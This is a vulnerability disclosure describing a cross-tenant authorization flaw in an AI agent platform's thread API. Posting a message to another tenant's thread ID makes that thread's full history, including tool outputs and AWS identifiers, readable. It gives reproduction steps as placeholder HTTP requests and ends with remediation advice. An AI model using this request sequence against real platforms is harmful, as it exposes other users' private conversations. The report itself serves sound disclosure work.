This agent saved conversations in threads, each with its own identifier. One API operation resumed a thread; another returned its history. The caller's bearer token identified their tenant.
Description
We used accounts from two tenants:
- A user on tenant A starts a conversation with the agent.
- A user on tenant B tries to read that conversation using its thread ID. The response is an empty list.
- Tenant B sends a message to the same thread. The server accepts it.
- Tenant B tries the same history request again and receives A's conversation.
Posting to another tenant's thread made its history readable to the caller. The server-side change responsible was not visible from these requests.
Impact
Tenant B read tenant A's messages, agent replies and tool results, including file paths and queries. The captured history also contained an AWS account ID, guardrail ARN, region and processing metrics.
Tenant B could also submit a message to the thread and continue the conversation with its existing context.
The test required tenant A's thread identifier. It did not require tenant A's credentials.
Steps to reproduce
Auth context: two test accounts authenticated against separate tenants on the same platform instance.
- As tenant A, create a thread and send a message carrying a canary and a task that produces agent tool output:
POST /threads/{A_THREAD_ID}/runs/stream
Authorization: Bearer <tenant-a-token>
{
"input": {
"messages": [
{
"content": "Canary CROSS-TENANT-TEST-<timestamp> -- List all jobs with their current status",
"type": "human"
}
]
},
"assistant_id": "scheduler",
"stream_mode": ["messages"]
}
A history request authenticated as tenant A returns the canary.
- As tenant B, request the same thread's history:
POST /threads/{A_THREAD_ID}/history
Authorization: Bearer <tenant-b-token>
{"limit": 5}
Observed: an empty list.
- Still as tenant B, submit a message to tenant A's thread:
POST /threads/{A_THREAD_ID}/runs/stream
Authorization: Bearer <tenant-b-token>
{
"input": {
"messages": [
{"content": "hello", "type": "human"}
]
},
"assistant_id": "scheduler",
"stream_mode": ["messages"]
}
Observed: the request was accepted.
- Repeat the history request without changing the token, thread identifier or body.
POST /threads/{A_THREAD_ID}/history
Authorization: Bearer <tenant-b-token>
{"limit": 5}
Observed: approximately 564 KB of history containing tenant A's canary, earlier messages, agent replies and tool output.
Remediation
Look up a thread by both its identifier and the tenant from the authenticated session. Check ownership before accepting a message, selecting an assistant, creating a run or streaming output.
Check ownership again when returning history. Having posted a message to a thread must not make someone its owner.
